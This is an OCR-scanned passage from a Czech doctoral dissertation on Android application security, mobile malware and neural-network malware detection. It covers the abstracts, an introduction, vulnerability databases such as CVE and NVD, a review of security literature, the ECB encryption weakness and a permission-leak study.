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ABSTRAKT

Dizertacni prace se zabyva tfemi hlavnimi oblastmi vyzkumu: bezpecnosti
soucasnych mobilnich aplikaci, mobilnim malwarem a detekci mobilniho
malwaru pomoci umélé inteligence, predevsim neuronovych siti. Prace popisuje
mechanizmy, jejichZz prostfednictvim uto¢nici a tvirci mobilniho malwaru
ziskavaji APK balicky legitimnich aplikaci, provadéji jejich analyzu a zneuZivaji
nalezené bezpecnostni chyby. Prace je unikdtni nejen svym rozsahem a
systematickym zpracovanim, ale pfedev§im hloubkou ptedkladanych poznatkd.
Publikované informace nemaji pouze teoreticky charakter, ale obsahuji 1
jedine¢né ukazky zdrojovych kodi (ve vysSich 1 nizSich jazycich), schémata a
snimky obrazovek mobilnich zatizeni zachycujici klicové situace.

Prvni Cast dizertatni prace pokryva vSechny hlavni oblasti problematiky
bezpecnosti mobilnich aplikaci od rozdili, jakymi jsou zneuZivany zranitelnosti
nalezené v mobilnich aplikacich uto¢niky a tviirci mobilniho malwaru, ptes
problematiku APK balicki a jejich analyzy, aZz po nalezené zranitelnosti ve
vySetfovanych mobilnich aplikacich. Zkoumani zranitelnosti ve vySetfovanych
mobilnich aplikacich vedlo k odhaleni cel¢ fady zavaznych bezpecnostnich
hrozeb, které byly systemizovany do Ctyt kategorii: Gitoky zaloZené na analyze dat
z APK balicku, APK repackage, itoky na lokalni zabezpeceni mobilnich aplikaci
a utoky na sitoveé zabezpeceni mobilnich aplikaci.

V oblasti mobilniho malwaru je dizertaCni prace zaméfena na analyzu
mobilnitho malwaru a charakteristiky mobilniho malwaru. Analyticka cast
popisuje ziskavani vzorkii mobilniho malwaru a jejich vySetfovaci metody, ve
kterych prace ptindsi nové, dosud nezverejnéné postupy. Unikatni poznatky jsou
rovnéZ publikovany v ¢asti zabyvajici se charakteristikami mobilniho malwaru.

Préace se neomezuje pouze na vyzkum utocnych technik, ale snazi se pfispét ke
zlepSeni bezpecnostni situace proaktivnim opatfenim, kterym je navrh a
experimentalni ovéfeni nového zpusobu detekce mobilniho malwaru pomoci
umélé inteligence, pfedev§im pomoci neuronovych siti. Zde se jako klicova
ukazala datové analyza a tvorba vstupnich vektori pro neuronové sité, zejména
navrzeny zpusob identifikace a redukce problematickych slozek vektorti. Na
kvalitu vyzkumu méla pozitivni vliv spoluprice se spolecnosti AVG
Technologies CZ, nad jejiz datovou sadou probihaly detekéni experimenty.
Dosazena ptesnost detekce 99,5 % pfii trénovani a 98,23 % pfi testovani pfi
rozsahlosti a kvalité¢ datové sady lze oznalit za vysoce UspéSné a relevantni.
Dosazene detekcni vysledky ukazuji silu strojového uceni a zaroven naznacuji
jeden z perspektivnich sméri, kterymi by se méla ubirat problematika detekce
mobilniho malwaru.



ABSTRACT

This dissertation deals with three main areas of research: security of current
mobile applications, mobile malware and detection of mobile malware using
artificial intelligence, especially neural networks. This dissertation describes
mechanisms by which attackers and mobile malware creators obtain APK
packages of legitimate applications, analyse them and exploit found
vulnerabilities. The work is unique not only in its scope and systematic processing
but mainly in the depth of presented findings. The published information is not
only of a theoretical character, but it also contains unique source code samples (in
both high-level and low-level programming languages), diagrams as well as
screenshots capturing crucial situations.

The first part of the dissertation covers all major areas of mobile application
security issues, from different ways how vulnerabilities found in mobile
applications are exploited by attackers and mobile malware creators, through the
issue of APK packages and their analysis, to vulnerabilities found in investigated
mobile applications. Examination of vulnerabilities in investigated mobile
applications has revealed a number of serious security threats which have been
systematized into four categories: attacks based on analysis of data from APK
packages, APK repackage, attacks on local security of mobile applications and
attacks on network security of mobile applications.

In the field of mobile malware, the dissertation is focused on mobile malware
analysis and mobile malware characteristics. The analytical part describes the
acquisition of mobile malware samples and their investigation methods in which
the work brings new, unpublished procedures. Unique findings are also published
in the part dealing with characteristics of mobile malware.

The dissertation is not only limited to the research of attack techniques but it
also tries to contribute to the improvement of the security situation by a proactive
measure which is the design and experimental verification of a new way of mobile
malware detection using artificial intelligence, especially neural networks. Data
analysis and creation of input vectors for neural networks proved to be the key
here, especially the suggested method of identification and reduction of
problematic vector components. Cooperation with AVG Technologies CZ, whose
data set was used for detection experiments, had a positive effect on the quality
of the research. The achieved detection accuracy of 99.5% during training and
98.23% during testing can be regarded as highly successful and relevant
considering the size and quality of the dataset. The achieved detection results
show the power of machine learning and at the same time indicate one of the
promising directions which should be taken in the mobile malware detection.
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1. UVOD
1.1 Uvod do problematiky

Mobilni zafizeni, jako jsou chytré mobilni telefony, tablety a v posledni dobé
1 nositelny hardware (chytré hodinky a sportovni naramky), se staly béZnou
soucasti moderni spole¢nosti. Tato skutecnost je dokumentovana zpravou
Ericsson Mobility Report 2016 [1], podle které v roce 2015 dosahl pocet chytrych
mobilnich telefonii pfipojenych ke globalni telekomunikacni siti (smartphone
subscriptions) 3,2 miliardy. PfiCemZ svétova populace ve stejném roce byla
na zaklad¢ statistickych dat odhadovana na 7,3 miliardy [2]. To znamena, Ze
témér kazdy druhy obyvatel planety mél v roce 2015 chytry mobilni telefon, a to
veetné kojencli. Do statistiky nebyly zapocitany ostatni varianty mobilniho
hardware, jako jsou tablety a nositelny hardware. V nasledujicim roce doslo,
podle Ericsson Mobility Report 2017 [3] k navySeni poctu ptfipojenych chytrych
mobilnich telefont (smartphone subscriptions) na 4,41 miliardy. Predikce, jez je
uvedena v téZe zpravée tika, Zze v roce 2023 pocet chytrych mobilnich telefonti
pfipojenych ke globalni telekomunikacni siti dosahne 7,27 miliardy. DalSim
vyznamnym ukazatelem provazanosti obcanské spolecnosti a mobilnich
technologii je podil pfistupli na webove stranky. Zatimco v roce 2009, byl podil
mobilnich pfistupli na webové servery pouhych 0,7 %, v roce 2017 jiz ¢inil 50,3 %
vSech dotazii a poprvé tak ptekonal pocCty pfistupli z osobnich pocitacu [4].
Z obrazku 1.1 je patné, Ze podil mobilnich pfistupi na webové stranky
v poslednich deviti letech neustéle roste.

60%

50.3%

40%

20%

0%
2009 2010 2011 2012 2013 2014 2015 2016 2017

Obr. 1.1: Podil mobilnich zarizeni na webovém provozu [4]

Mobilni hardware a software tvoti odvétvi IT primyslu, ktery ma ro¢ni obrat
v fadech miliard dolari. Mobilni zafizeni se stala béZnymi komunikacnimi
prostiedky jak v osobnim, tak v pracovnim zZivoté. Z tohoto diivodu ¢asto obsahuji
citlivd osobni data (PII - Personally Identifiable Information, SPI - Sensitive
Personal Information), kontakty, e-mailovou korespondenci a korporatni know-
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how. Navzdory vySe uvedenym skutec¢nostem je bezpecnost mobilni platformy
na velmi nizké arovni. Uvedena situace je zplisobena celou fadou faktora, ktere
jsou podrobné popsany v kapitole 2, jez systematicky mapuje soucasny stav
problematiky bezpecnosti mobilni platformy. Kapitola 2 se také zabyva
omezenimi, kterd maji mobilni zatizeni oproti osobnim pocita¢lim. Napiiklad
chytré telefony a tablety jsou napdjeny bateriemi s omezenou kapacitou. Baterie
navic musi napajet pomérné velké displeje. Kombinace téchto dvou faktorii velmi
znesnadiiuje béh rezidentnich antivirovych §titl na pozadi. Skutecné vykonny §tit
by neiimérné spotifebovaval elektrickou energii baterie, coz by vedlo k tomu, Ze
by bylo nutné mobilni zatizeni nabijet 1 n€kolikrat za den. Druha kapitola se
rovnéZz vénuje analyze soucasnych bezpecnostnich standardl a legislativy
ve svété a v Ceské republice. Zkouma4, zda jsou zohlediiovana i bezpeénostni
specifika mobilni platformy. Vysledky analyzy odhalily, Ze, pokud bezpe€nostni
pravidla a standardy neexistuji, nebo dostate¢né nezohlediiuji specifika mobilni
platformy, €1 jsou ignorovana v jakékoliv fazi vyvojového cyklu, vznikaji mobilni
aplikace, které obsahuji zavaZzné bezpecnostni chyby. Diserta¢ni prace se zabyva
problematikou bezpecnosti na mobilni platformé, a to jak z pohledu Utoku, tak
1z pohledu obrany. Struktura prace je rozvrzena nasledujicim zplsobem. Cile
dizertacni prace jsou podrobné popsany v kapitole 3. Problematice bezpe€nosti
mobilnich aplikaci se vénuje kapitola 4. Bezpe¢nost mobilnich aplikaci a mobilni
malware (Skodlivy software, ndzev vznikl z anglickych slov malicious a software)
jsou témata, kterd spolu uzce souvisi. Aplikace, které obsahuji bezpecnostni
chyby, jsou velmi ¢asto zneuzivany mobilnim malwarem. Pro komplexni
vysvétleni problematiky je potfeba nejen popsat chyby v mobilnich aplikacich,
ale také vysvétlit mechanismy, jakymi jsou dané zranitelnosti zneuzZivany
mobilnim malwarem (kradeZe uZivatelskych dat, Utoky na nezabezpecené
poskytovatele obsahu apod.). Vyzkum mobilniho malwaru je popsan v kapitole 5.
DizertaCni prace se neomezuje pouze na zkoumani bezpecnostnich chyb
v mobilnich aplikacich a popisu jejich zneuZzivani prostfednictvim malwaru, ale
navrhuje 1 proaktivni opatfeni. Kapitola 6 popisuje techniky detekce mobilniho
malwaru pomoci metod strojového uceni (machine learning), umélych
neuronovych siti a snazi se tak ptispct ke zlepSeni bezpe€nostni situace na mobilni
platform¢.

1.2 Pouzité nazvoslovi

Bezpecnostni problematika mobilnich platforem je mlady obor. Z toho vyplyva
naprosta absence vyzkumnych praci publikovanych v ¢eském jazyce. Veskera
relevantni literatura je témét vyhradné v anglickém jazyce. To znamend, Ze
nazvoslovi pouZivané mezinarodni i ¢eskou odbornou vetejnosti je anglické.
Préace si neklade za cil vytvareni nového nazvoslovi, ale pouziva zazité anglicke
nazvoslovi, které ma ustalenou sémantiku.

12



2. SOUCASNY STAV RESENE PROBLEMATIKY

Jak bylo popsano vySe, rychlost a specifické rysy vyzkumu zaméfené¢ho
na bezpecnost mobilni platformy se v urcitych jeho oblastech projevuji
nedostatkem kvalitni, systematicky zpracované¢ odborné literatury. Nicméné
na kvalitu 1 kvantitu odborné literatury, a tedy 1 na stav poznani piisobi dalsi
faktory, které jsou pro problematiku bezpecnosti mobilnich aplikaci a mobilniho
malwaru rozdilné. Z tohoto diivodu jsou rozebrany samostatné v nasledujicich
pododdilech.

2.1 Aktualni stav v oblasti bezpecnosti mobilnich aplikaci

Vyvoj mobilnich aplikaci je velmi dynamicky. Prakticky kazda vétsi spolecnost
¢1 organizace ma svoji mobilni aplikaci. Po¢inaje obchodnimi spole¢nostmi, jako
jsou CZC.CZ [5] a Alza [6], pfes webove portdly, napiiklad Seznam.cz [7],
k mobilnimu software statni spravy (napt. aplikace ,,Co d¢€lat kdyz...“ [8]) az
po vef'ejnopravni instituce jako naptiklad Cesky rozhlas [9], nebo Ceska televize
[10]. Pocet mobilnich aplikaci od roku 2009 neustale stoupa. Na obrazku 2.1 je
vidét, Ze v prosinci 2017 dosahl pocet oficialnich mobilnich aplikaci pro operacni
systtm (OS) Android 3,5 milionu. Ackoli mobilni aplikace pronikly
do kazdodenniho Zivota vétSiny obyvatel vyspélého svéta, neexistuje jednotny,
vSeobecné piijimany standard ureny pro bezpecnostni testovani mobilnich
aplikaci. V oblasti mobilni platformy zatim nebyl zpracovan komplexni risk
management, coZ znamena, ze rizika nejsou systematicky identifikovana
a hodnocena. Neexistence jednotné¢ho standardu velmi znesnadiuje tvorbu
odpovidajicich penetracnich testii. Penetracni test pfedstavuje simulovany utok
na testovanou technologii, jehoz cilem je v€as odhalit moZné bezpecnostni chyby.
Vysledkem penetrac¢niho testu byva zprava (penetration report ¢i zkrdcené pentest
report), kterd je pteddvana zadavateli a obsahuje vSechny odhalené bezpecnostni
problémy. V souCasné dobé vznikaji penetracni testy na jednotlivych
testovacich/forenznich pracovistich spontanné a jsou vzajemné nekompatibilni.
VétSina pracovist se pii tvorbé svych testil zamétuje na oblasti, ve kterych dosahla
nejlepSich vyzkumnych vysledkii. TakZe v penetracnich laboratotich, ktere
dosahly uspéchtli v oblasti dynamické analyzy aplikaci, vznikaji testy zamétené
na tuto problematiku. Zatimco testy zaloZzené¢ na dekompilaci APK balicka
(Android aPplication pacKage, jedna se o instalator/instala¢ni balicek aplikaci
béZicich pod operacnim systémem Android) a analyze zdrojovych koda vznikaji
v laboratoftich, které dosahly vyznamnych objevill na poli statické analyzy. Z vySe
uvedenych skute¢nosti vyplyva, Ze proprietarni penetracni testy systematicky
nepokryvaji vSechny mozné hrozby. Jinymi slovy uzivatelé, instituce, ozbrojene
slozky, soukromé spoleCnosti a jejich data jsou vystaveni prostfednictvim
nedostatecné otestovanych aplikaci potencidlnim zavaznym bezpecnostnim
rizikim.
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Obr. 2.1: Pocet aplikaci dostupnych na Google Play od prosince 2009 do prosince
2017[11]

V oblasti bezpecnosti mobilnich aplikaci na vznik odborné literatury negativné
pusobi dva faktory, které spolu uzce souvisi. Prvnim z nich je rychlost a dynamika
vyvoje operacnich systétmi a predevS§im pak API. Zkratka API pochazi
z anglického Application Programming Interface. Jednd se o funkcionalitu
zapouzdienou do metod, tfid a protokold, ktera je poskytovdna operacnim
systtmem nebo knihovnami (Casto systémovymi). Uvedenou funkcionalitu
pouzivaji programatoii pii tvorbé mobilnich aplikaci. Druhym faktorem
negativné ovlivilujici vznik odborné literatury je Casova omezenost zjisténych
bezpecnostnich poznatkidl. Naptiklad, operac¢ni syst¢tm Android vySel od roku
2008 do roku 2017 v patnacti hlavnich verzich: Android 1.0 (bez kodového
jména), Android 1.1 (bez kodového jména), Cupcake 1.5, Donut 1.6, Eclair 2.0
— 2.1, Froyo 2.2 — 2.2.3, Gingerbread 2.3 — 2.3.7, Honeycomb 3.0 — 3.2.6, Ice
Cream Sandwich 4.0 — 4.0.4, Jelly Bean 4.1 — 4.3.1, KitKat 4.4 — 4.4.4, Lollipop
5.0-5.1.1, Marshmallow 6.0 — 6.0.1, Nougat 7.0 — 7.1.2, Oreo 8.0 — 8.1. Za stejné
obdobi vzniklo 27 verzi API [12]. Spole€nosti zabyvajici se vyvojem mobilnich
operacnich systému se snazi ziskat konkuren¢ni vyhodu tim, Ze uvoliuji nové
verze svych systémil v rychlém sledu za sebou. Coz znamen4, ze uptednostiiuji
nov¢ piidanou funkcionalitu a pfivétivost (vyvojaiskou i1 uZivatelskou) pred
bezpecnosti. Casto se pak stava, ze nové funkce obsahuji zdvazné bezpednostni
chyby, z nichZ nékteré jsou odstranény prostfednictvim aktualizaci dané verze
opera¢niho systému a jiné jsou opraveny az v ndsledujici verzi operacniho
systemu. Naptiklad moZznost zneuZivat Broadcast Receiver a psat malware typu
Evil Applications (jsou popsany v kapitole 5) nebyla z Androidu 2.3 a nizSich
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verzi nikdy odstranéna. Rezistentni jsou az vyS$§i verze operacniho systému.
Z toho plyne, Ze uzivatelé, ktefi stale pouzivaji zafizeni s operacnim systémem
Zaroven nemaji prostifedky, jak tento typ malwaru na svych mobilnich zafizenich
detekovat. Systematicky zkoumat bezpe¢nostni hrozby v mobilnich aplikacich
plynouci z pouzivani/zneuzivani novych funkci, které pifinaSi nové verze
operacnich systémil a jejich API, vyZaduje pomérné velké zdroje a to nejen
finan¢ni, materialni, ale ptredevsim lidské (SpiCkovi bezpe€nostni analytici, velké
hodinové dotace). Navic - jak bylo popsano vyse - vysledky bezpecnostnich
vyzkumu jsou diky rychlému stfidani verzi mobilnich operacnich systémi ¢asove
omezené. Ztoho vyplyva skuteCnost, Ze tento vyzkum probihd prevazné
v komer¢ni sféfe, predev§im prostfednictvim soukromych penetracnich
laboratofi. Vysledky jejich bezpecnostnich vyzkuml jsou zahrnovany
do penetracnich testi, které ptedstavuji know-how dané laboratote a nejsou proto
vefejné publikovany. Z tohoto diivodu se casto pro zkoumani dopadi zadvaznych
chyb v mobilnich operacnich systémech na bezpecnost mobilnich aplikaci,
pouzivaji jiné informacni zdroje nez standardni (tiSténd) odbornd literatura.
Jednim ztéchto zdroji jsou takzvané Vulnerability Databases (databaze
zranitelnosti). Vulnerability Databases, jsou on-line databdze ptistupné pres
webové rozhrani, nékteré poskytuji informace o bezpe¢nostnich chybach zdarma,
jiné jsou placené. Vyzkumy zabyvajici se bezpecnosti mobilni platformy Casto
zaCinaji hledanim v databéazich zranitelnosti, z nichZ nejvyznamnég;si je CVE
(Common Vulnerabilities and Exposures). CVE databaze je zdarma dostupna na
URL (Uniform Resource Locator) adrese: http://cve.mitre.org. Uvedena databaze
pfedstavuje seznam bezpecnostnich hrozeb, opatfenych identifika¢nim cislem,
popisem a alespoii jednim vetfejnym odkazem. Jednotlivé bezpecnostni
zranitelnosti jsou zpracovavany CNAs (CVE Numbering Authorities) autoritami.
CNAs maji opravnéni piifadit odhalenym zranitelnostem identifikator, takzvany
CVE ID a zadat je do CVE databaze [13]. CVE pfedstavuje autoritu, ktera je
respektovana nejen odbornou komunitou zabyvajici se kybernetickou
bezpecnosti, ale 1 soukromymi spolecnostmi a statnimi institucemi, coZ se mimo
jiné projevuje 1 tim, Ze vSechny uvedené subjekty pouzivaji identifikator CVE ID.
CVE databaze jsou pouzivany celou fadou produktl a sluzeb, jenz k jednotlivym
CVE polozkam ptidavaji vlastni — dopliujici — informace, jako naptiklad skore
zévaznosti, hodnoceni dopadil a nékdy 1 postupy, jak danou chybu odstranit apod.
[14]. Patrné nejvyznamnéjsi instituci vyuZzivajici data CVE je Americky NIST
(National Institute of Standards and Technology). NIST nad daty z CVE
provozuje vlastni — rozSitenou — databazi NVD (National Vulnerability
Database), kterd je dostupna na URL adrese: https://nvd.nist.gov. Pfistup do
databaze NVD je zdarma. DalSim vyznamnym subjektem vyuzivajici data CVE
je Americkd spolecnost Risk Based Security, jenz spravuje vlastni databazi
jménem VulnDB. Jedna se o placenou sluzbu, kterd se nachazi na adrese
https://vulndb.cyberriskanalytics.com. VulnDB, kromé rozSifovani CVE dat,
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poskytuje velké mnoZstvi vlastnich informaci o zranitelnostech, které nebyly
nikde jinde publikovany (vyzkum je nezdvisly na CVE). Pomér mezi
zranitelnostmi publikovanymi pouze ve VulnDB a vefejnymi CVE daty je
zachycen na obrazku 2.2.

VulnDB vs. CVE - Total Vulnerabilities
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Obr. 2.2: Pomér mezi zranitelnostmi publikovanymi pouze ve VulnDB a verejnymi
CVE [15]

Vulnerability Databases, jakkoliv jsou uZitenym zdrojem informaci, maji sva
omezeni:

e popisuji pouze zjiSténé zranitelnosti ve vztahu k opera¢nimu systému
nebo k systémové komponenté, ktera je jejich zdrojem a nezajimaji se
o specifické bezpe¢nostni problémy, které mohou zplisobit v mobilnich
aplikacich. To musi jednotlivé subjekty, zabyvajici se bezpecnosti
mobilnich aplikaci udélat sami.

e Nejedna se o databaze zranitelnosti zaméfené pouze na mobilni
platformu, jsou zaméteny na vSechny oblasti kybernetické bezpecnosti.
TakZe bezpeCnostni analytici musi bezpe€nostni problémy tykajici se
mobilni platformy aktivné hledat. Naptiklad v CVE databazi neni
mozZné provadét vyhledavani pomoci tzv. general keywords (obecna
klicova slova), jako jsou naptiklad ,,Android“ ¢i ,,i0OS* (iPhone
Operating System). Pro vyhleddavani je v CVE je nutné pouzit tzv.
specific keywords (specifickd kli€ova slova) vztahujici se ke konkrétni
technologii, naptiklad ,,Libc* apod. Pro vyhledavani pomoci general
keywords je nutné pouzit jin¢ databaze, naptiklad NVD nebo si zaplatit
pfistup do VulnDB, nicméné 1 tam je nutné zranitelnosti souvisejici
s mobilni platformou aktivné vyhledavat a filtrovat vysledky dotazil.

Z vyse uvedeného je patrné, ze dal§im dilezitym zdrojem informaci jsou sluzby
zaméfené pouze na mobilni platformu. Témito zdroji jsou Android Security
Bulletins a About the security content of 10S. Android Security Bulletins jsou
vydavany spolecnosti Google LLC, vychazi jednou mésicné na URL adrese
https://source.android.com/security/bulletin. About the security content of 10S
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jsou publikovany spole¢nosti Apple Inc. a vztahuji se vzdy k urcité verzi 10S,
napiiklad bezpecnostni obsah pro 10S 10 je dostupny na adrese
https://support.apple.com/en-us/HT207143 a bezpecnostni obsah pro 10S 11 je
dostupny na https://support.apple.com/en-gb/HT208112.

Krom¢ zranitelnosti v operacnim systému a v systtmovych komponentach
ovliviiuji bezpecnost mobilnich aplikaci negativné 1 chyby, které vznikaji béhem
procesu jejich vyvoje. Téchto chyb se dopoustéji analytici pfi navrhu
a programatoii béhem vyvoje mobilnich aplikaci:

e prikladem chyby souvisejici s nespravnym navrhem mobilni aplikace je
pouzivani Single-Factor Authentication (SFA) na mistech, kde
bezpecnostni principy vyzaduji Two-Factor Authentication (2FA),

e prikladem souvisejicim se nespravnym vyvojem je chyba typu hardcoded
credentials.

Oba ptiklady jsou podrobné vysvétleny v kapitole 4 ,,Bezpecnost mobilnich
aplikaci“. 'V odborné literatufe jsou bezpecCnostni chyby, které vznikaji pfi
samotném vyvoji mobilnich aplikaci, mnohem lépe dokumentované, nez je tomu
u chyb v operacnich systémech, které nasledné negativné plisobi na bezpecnost
mobilnich aplikaci.

Jednou z prvnich knih, které se zabyvaly bezpecnosti modernich mobilnich
aplikaci (moderni mobilni aplikace b&zi v mobilnich zafizenich, které maji
operani systém), je kniha snazvem Application Security for the Android
Platform [16]. Nakladatelstvi O'Reilly ji vydalo jiZ v roce 2011. Pfestoze Jeff Six
pojal knihu vice teoreticky, neZ byva u tohoto typu odborné literatury bézné
(obsahuje méné praktickych ukazek zdrojovych kodi a snimkil obrazovek
zachycujici napt. vysledky utokl), je jeji pifinos nezpochybnitelny. Kniha
popisuje jak zabezpecit sluzby, poskytovatele obsahu a dal$i komponenty, ktere
jsou z hlediska mobilnich aplikaci klicove. Kapitola ”Protecting Stored Data se
vénuje otazkdm zabezpeCeni dat mobilnich aplikaci, ktera jsou ukladana do
perzistentni paméti. Kapitola byla ve své dob€ vyznamna, nebot’ velké mnozstvi
mobilnich aplikaci ukladalo vSechna sva data neSifrované do vefejného 0loZiste
(typicky na pamétovou kartu, napt. MicroSD). Dalsi dilezitou ¢asti knihy je
kapitola “ Securing Server Interactions®, kterd upozoriiuje na mozna rizika, ale
navrhuje 1 proaktivni opatfeni. Uvedena pasaz byla podstatnd i1 proto, Ze v roce
2011 si velka ¢ast vyvojai neuvédomovala, ze vychozi sitova komunikace
odchazejici z mobilni aplikace na server (poskytujici néjakou sluzbu) je
nezabezpecena a neSifrovand. Chce-li tedy programator, aby byla sitova
komunikace zabezpecend, musi se sam aktivné postarat o nalezZitou ochranu.
V roce 2013 vysla v nakladatelstvi Packt Publishing kniha Android Application
Security Essentials [17], jejiz autorem je Pragati Ogal Rai. Ve své dobé Slo o
knihu, ktera byla pro bezpecnost mobilnich aplikaci velmi dileZzita, nebot’ se
systematickym zpusobem vénuje bezpecnosti mobilnich aplikaci. Kniha na sto
osmdesati Sesti strandch vysvétluje témata, jako jsou bezpe€nostni model
operacniho systemu Android, systém opravnéni, zabezpeceni
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uzivatelskych/aplikacnich dat a podobné. O rok pozdé&ji ve stejném nakladatelstvi
vySla kniha Testing and Securing Android Studio Applications [18]. Autoti Belén
Cruz Zapata, Antonio Hernandez Niilirola na sto tficeti péti stranach popsali
zésadni bezpec€nostni témata, jako jsou zabezpeceni komunikace, autentifikacni
metody a proces bezpecnostniho testovani mobilnich aplikaci. V roce 2014 vysla
pfelomova kniha s nazvem Learning Pentesting for Android Devices a Practical
Guide to Learning Penetration Testing for Android Devices and Applications
[19], kterou napsal Aditya Gupta. Autor odhaluje zranitelnosti pomoci metod
statické a dynamické analyzy. Kniha rovnéZ Ctenare seznamuje se zakladem
reverzniho inZenyrstvi mobilnich aplikaci. Nikolay Elenkov ve své knize Android
Security Internals [20] popisuje celou tadu bezpecCnostnich témat, ktera
v literatufe vydané pied touto knihou nebyla popsidna optimalnim zplsobem.
Jedna se ptedevsim o Cryptographic Provider Architecture, Credential Storage
a Online Account Management. Dal$i vyznamnou knihu piedstavuje titul
Bulletproof Android Practical Advice for Building Secure Apps [21], kterou
v roce 2015 napsal Godfrey Nolan. Publikace se zabyva bezpecnosti mobilnich
aplikaci z pohledu programatora. Kniha je vybavena mnozstvim ukazkovych
zdrojovych kodi, jez jsou z bezpecnostniho hlediska spravné, ale 1 nespravné. V
ptipadé chybnych postupt jsou ¢asto ukazany 1 mozné nasledky. Uvedena kniha
vySla v nakladatelstvi Pearson Education a je dodnes povaZovana za etalon
kvalitni odborné literatury tykajici se bezpecnosti mobilnich aplikaci. Vijay
Kumar Velu napsal v roce 2016 knihu Mobile Application Penetration Testing
[22]. Kniha je urcena pfedevsim penetracnim testerim, kteti si v kapitolach Full
Steam Ahead — Attacking Android Applications a Full Steam Ahead — Attacking
10S Applications vyzkouSi utoky na mobilni aplikace obsahujici zavazné
bezpecnostni chyby. Nicméné kniha je urCena i mobilnim vyvojarim, ktefi se
v kapitole Securing Your Android and iOS Applications dozvi fadu uziteCnych
rad (je zde mimo jiné 1 podkapitola Secure coding best practices obsahujici
uziteCné odkazy). V dobé€ psani dizertacni prace se ptipravuje druhé vydani knihy,
u které bezpecnostni odbornici o¢ekéavaji velky ptinos. Jedna se o knihu Learn
Android Security Stack, autora Yury Zhauniarovich (kniha vySla v zati 2018)
[23].

DalSim cennym informacnim zdrojem — kromé vySe uvedenych knih
a Vulnerability Databases — jsou ¢lanky, které¢ vznikaji v ramci akademického
vyzkumu. Na obrazku 2.3, jsou zachyceny pocty Clanka vyhledané na zaklad¢
klicovych slov v databazi Scopus. Dotazy byly provedeny pomoci logickych
operatorat AND:

e dotaz Android OS: ,,android AND application AND security*,
e dotaz pro i10S: ,,ios AND application AND security*.

Vysledny graf na obrazku 2.3 dobfe zobrazuje trend, ktery je pfizna¢ny nejen
pro komunitu akademickych vyzkumnikd, ale 1 pro samotny vyvoj poznani v této
oblasti. Od roku 2010 do roku 2018 dochézi k rlstu poctu ¢lankt, které se
zabyvaji jak bezpecnosti mobilnich aplikaci béZicich na operacnim systému
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Android, tak na operacnim systému 10S. V roce 2019 vySlo o 1606,25 % vice
¢lankt souvisejicich s Android, nez v roce 2010, u ¢lank souvisejici s 10S €inil
nartst 217,24 %. Uvedené skutenosti maji redlné pti¢iny: Android OS klade
programatorim pii vytvareni jejich mobilnich aplikaci jen velmi malo omezeni.
Tento pristup sice na jednu stranu umoziuje realizaci vyjimeénych a zcela
origindlnich aplikaci, ale na druhou stranu umoZznuje vyvojaiim publikovat
nedokonalé¢ aplikace plné zavaznych bezpe€nostnich chyb. iOS je ve srovnani s
Androidem operacni systém, ktery ma mnohem vé&tSi mnozZstvi restrikci
souvisejicich s vyvojem mobilnich aplikaci. Programatofi jsou nuceni pii tvorbé
svych aplikaci dodrZzovat celou fadu pifesné¢ danych postupi, od kterych se
nemohou odchylit. Omezeni sice limituji vyvojafskou kreativitu, ale na druhou
stranu vyznamné piispivaji k bezpecnosti mobilnich aplikaci. Popsana situace
motivuje bezpecnostni odborniky provadét vyzkum mnohem castéji v oblasti
bezpecnosti mobilnich aplikaci béZicich pod opera¢nim systémem Android.

Pocet €lankl na zakladé klicovych slov

Obr. 2.3: Pocty clankii vyhledané na zdkladé klicovych slov v databazi Scopus [zdroj
viastni]

vvvvvv

vysledky ur€ily smér vyzkumu, kterym se zabyva dizertacni prace.

Vroce 2013 vySel vyznamny clanek sndzvem An Empirical Study of
Cryptographic Misuse in Android Applications, ve kterém se autorska Ctvetice
Manuel Egele, David Brumley, Yanick Fratantonio a Christopher Kruegel
zamétila na pouzivani kryptografickych API v Android aplikacich. Autofi
vyvinuli analyticky néstroj CryptoLint, ktery provedl automatizovanou statickou
anylyzu aplikaci publikovanych na distribu¢ni platformé Google Play. Autofi
definovali sadu obecné platnych kryptografickych pravidel jako naptiklad “Do
not use ECB mode for encryption®. A kazdého testovaného programu zjistovali,
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zda nejsou pravidla poruSena. Zjisténé vysledky byly alarmujici, z celkového
mnozstvi 10327 aplikaci, které pouzivali kryptografické API, mélo 88 % alesponi
jednu chybu (bylo poruSeno nékteré z pravidel).

Poznamka: ECB (Electronic Code Book, cesky elektronicka kodova kniha) je
Siframi vyuZit; viz nasledujici definice.

Necht’ A a B jsou neSifrované bloky dat a vysledky Sifrovani odpovidaji A —
aANB — (. Pak plati, z2 A =B = a = . Jinak fecCeno, stejné bloky dat,
vypadaji v zaSifrované podob& vzdy stejné, zcehoZz lze odvodit strukturu
plvodnich dat. Uvedeny nedostatek se projevuje napiiklad u Sifrovani obrazki.
Situace, kdy je obsah obrazku viditelny 1 po zaSifrovani je zachycena na obrazku
2.4. Vlevo je vidét nezaSifrovana bitmapa s logem FAI, vpravo je stejna bitmapa
zasifrovana AES algoritmem se 128-bitovym kli€em za pouZiti reZimu ¢innosti
ECB. PiestoZe je obrazek zasifrovany, jeho obsah je potad dobfie Citelny. Z tohoto
divodu autofi ¢lanku definovali kryptografické pravidlo Do not use ECB mode
for encryption”.

FAl

Obr. 2.4: Sifrovani AES algoritmem se 128-bitovym klicem, za pouZiti reZimu cinnosti
ECB [zdroj viastni]

DalSim c¢lankem, ktery ovlivnil autora disertaéni prace, je IntentFuzzer:
Detecting Capability Leaks of Android Applications, ktery vysel v roce 2014 a
popisuje vyzkum mozZnych zneuzivani opravnéni ve Spatné napsanych Android
aplikacich (tzv. Permission Leak nebo také Permission Leakage). To napiiklad
znamend, Ze opravnéni READ CONTACTS patfici legitimni aplikaci miize byt
zneuZito nelegitimnimi aplikacemi k odcizeni kontakttl, i kdyZ sama nema pravo
kontakty Cist. Autofi Kun Yang, Jianwei Zhuge, Yongke Wang, Lujue Zhou a
Haixin Duan vytvofili prototyp nastroje, pomoci kter¢ho vysettili 2183 aplikaci
publikovanych na Google Play a 209 aplikaci ptedinstalovanych aplikaci na ROM
mobilnich zafizeni Xiaomi Hongmi phone aLenovo K&860i. Publikované
vysledky byly znepokojive, nebot’:

e 72183 aplikaci z Google Play byl u 161 aplikaci detekovan alespon jeden
Permission Leak,

e ze 104 aplikaci z Xiaomi Hongmi phone ROM se Permission Leak tykal
26 riznych typll opravnéni, a to vCetné velmi nebezpecnych opravnéni
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jako jsou INSTALL PACKAGES, WRITE SECURE SETTINGS
a n¢kterych dalSich,

e ze 105 aplikaci z Lenovo K8601 ROM Permission Leak zahrnoval 19
riznych typl opravnéni, i zde se problém tykal opravnéni, jejichz
